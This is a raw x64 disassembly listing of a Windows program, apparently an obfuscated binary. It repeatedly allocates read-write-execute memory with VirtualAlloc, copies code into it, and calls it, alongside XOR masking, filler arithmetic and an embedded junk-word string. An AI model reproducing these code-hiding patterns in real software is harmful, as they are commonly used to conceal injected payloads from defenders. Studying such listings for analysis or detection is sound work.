mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ac8]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x1d28]
xor rcx, qword [rbp + 0x1d30]
mov qword [rbp + 0x1d28], rcx
mov rax, qword [rbp + 0x1d38]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1d40], xmm1
mov qword [rbp + 0x1d50], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d40]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x1400146f9
nop dword [rax]
cmp rax, rbx
je 0x1400146e6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x1400146d0
jmp 0x1400146f9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x1400147df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140014722
mov r8, r12
jmp 0x1400147be
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014730
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x3d8]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x1d40]
xor rcx, qword [rbp + 0x1d48]
mov qword [rbp + 0x1d40], rcx
mov rax, qword [rbp + 0x1d50]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1d58], xmm1
mov qword [rbp + 0x1d68], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d58]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001486e
cmp rax, r15
je 0x14001485b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140014845
jmp 0x14001486e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140014951
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140014897
mov r8, r12
jmp 0x140014930
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400148a2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ac8]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x1d58]
xor rcx, qword [rbp + 0x1d60]
mov qword [rbp + 0x1d58], rcx
mov rax, qword [rbp + 0x1d68]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1d70], xmm1
mov qword [rbp + 0x1d80], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d70]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400149df
cmp rax, r15
je 0x1400149cc
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x1400149b6
jmp 0x1400149df
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140014acf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140014a08
mov r8, r12
jmp 0x140014aae
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014a20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b08]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x1d70]
xor rcx, qword [rbp + 0x1d78]
mov qword [rbp + 0x1d70], rcx
mov rax, qword [rbp + 0x1d80]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x1d88]
xor rcx, qword [rbp + 0x1d90]
mov qword [rbp + 0x1d88], rcx
mov rax, qword [rbp + 0x1d98]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x84], 3
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1988]
call fcn.140021f10
movsd qword [rbp + 0x3e0], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1da0], xmm0
mov qword [rbp + 0x1db0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1da0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x140014bc0
cmp rax, rbx
je 0x140014bad
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140014b97
jmp 0x140014bc0
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x140014caf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140014be9
mov r9, r12
jmp 0x140014c8e
mov rax, rbx
mov rcx, r9
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014c00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x84]
lea rdx, [rbp + 0x3e0]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x1da0]
xor rcx, qword [rbp + 0x1da8]
mov qword [rbp + 0x1da0], rcx
mov rax, qword [rbp + 0x1db0]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1988]
call fcn.140021f10
movsd qword [rbp + 0x3e8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1db8], xmm0
mov qword [rbp + 0x1dc8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1db8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x140014d79
nop dword [rax + rax]
cmp rax, rbx
je 0x140014d66
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x140014d50
jmp 0x140014d79
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x140014e5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140014da2
mov r8, r12
jmp 0x140014e3e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014db0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x3e8]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x1db8]
xor rcx, qword [rbp + 0x1dc0]
mov qword [rbp + 0x1db8], rcx
mov rax, qword [rbp + 0x1dc8]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
test al, 1
jne 0x140014ecd
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x140014ed8
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x158e], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1988]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0xb830]
test bl, 1
jne 0x140014f7d
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x140014f9d
lea rcx, [rbp + 0x1988]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x140014f00
sub rdi, 1
jne 0x140014ef0
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x158e]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x16b0]
call fcn.1400047a0
sub r14, 1
jne 0x140014000
lea rcx, [rbp + 0x3f0]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 0x28], rsi
mov rax, qword [rax]
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x40]
call fcn.140021870
test al, al
js 0x140013ff0
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2cc0]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1770]
call fcn.140021e60
cmp dword [rbp + 0x15d0], 0
setne cl
mov rax, qword [rbp + 0x15e0]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x15e0], rax
lea rdx, [rbp + 0x15798]
mov qword [rdx], rax
test cl, cl
jne 0x14001bded
mov rax, qword [0x14006daa8]
mov r8d, 0x208
lea rdx, [rbp + 0x154b0]
xor ecx, ecx
call rax
test eax, eax
jne 0x140016385
lea rcx, [rbp + 0x15d9]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0xcbc0]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x1598]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x19e8]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x1878]
call fcn.140004660
lea rcx, [rbp + 0x1878]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x3f8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x180]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x3f8]
call fcn.1400086c0
lea rcx, [rbp + 0x400]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x188]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x188]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x400]
call fcn.1400086c0
lea rcx, [rbp + 0x408]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x190]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x408]
call fcn.1400086c0
lea rcx, [rbp + 0x410]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x198]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x410]
call fcn.1400086c0
lea rcx, [rbp + 0x418]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x418]
call fcn.1400086c0
lea rcx, [rbp + 0x420]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1878]
call fcn.140021e30
nop
lea rcx, [rbp + 0x1a8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x420]
call fcn.1400086c0
lea rcx, [rbp + 0x2428]
call fcn.140009fc0
mov dword [rbp + 0x88], 0x64
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x1068]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x2428]
lea rcx, [rbp + 0x1aa0]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2ce0]
call fcn.140005020
nop
lea rcx, [rbp + 0x458]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1aa0]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x140016360
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r15d, 0x2710
nop word [rax + rax]
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x1878]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x1878]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x1598]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x2bc8]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2bc8]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x2430]
call fcn.1400048d0
lea rcx, [rbp + 0x2ce0]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2ce0]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001548f
nop dword [rax]
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x2430]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140015470
lea rcx, [rbp + 0x2bc8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x17b8]
call fcn.140004660
lea rcx, [rbp - 0x77]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x17b8]
call fcn.140004800
nop
lea r8, [rbp + 0xcbc0]
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x1150]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0x17b8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1078]
lea rcx, [rbp + 0x17b8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x17b8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1088]
lea rcx, [rbp + 0x17b8]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x2dc0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2dc0]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x2438]
call fcn.1400048d0
lea r8, [rbp + 0xcbc0]
lea rdx, [rbp + 0x2438]
lea rcx, [rbp + 0x11b0]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0x1090]
lea rcx, [rbp + 0x17b8]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0x1098]
lea rcx, [rbp + 0x17b8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x10a0]
lea rcx, [rbp + 0x17b8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x10a8]
call fcn.140021780
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0x17b8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x10b8]
lea rcx, [rbp + 0x17b8]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x2dc0]
call fcn.140009fa0
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0xcbc0]
lea rcx, [rbp + 0x19e8]
call fcn.140021f10
movsd qword [rbp + 0x1aa8], xmm0
movsd qword [rbp + 0x1ab0], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2520]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2520]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0x10c0]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0x10c8]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0x10d0]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0x10d8]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2dd8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2dd8]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x140015780
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x14001576d
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x140015750
jmp 0x140015780
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x140015876
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400157a9
mov r8, r12
jmp 0x14001584e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400157c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1aa8]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2dd8]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x440], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0x10e0]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2df0]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2df0]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x140015920
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x14001590d
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x1400158f0
jmp 0x140015920
mov eax, edx
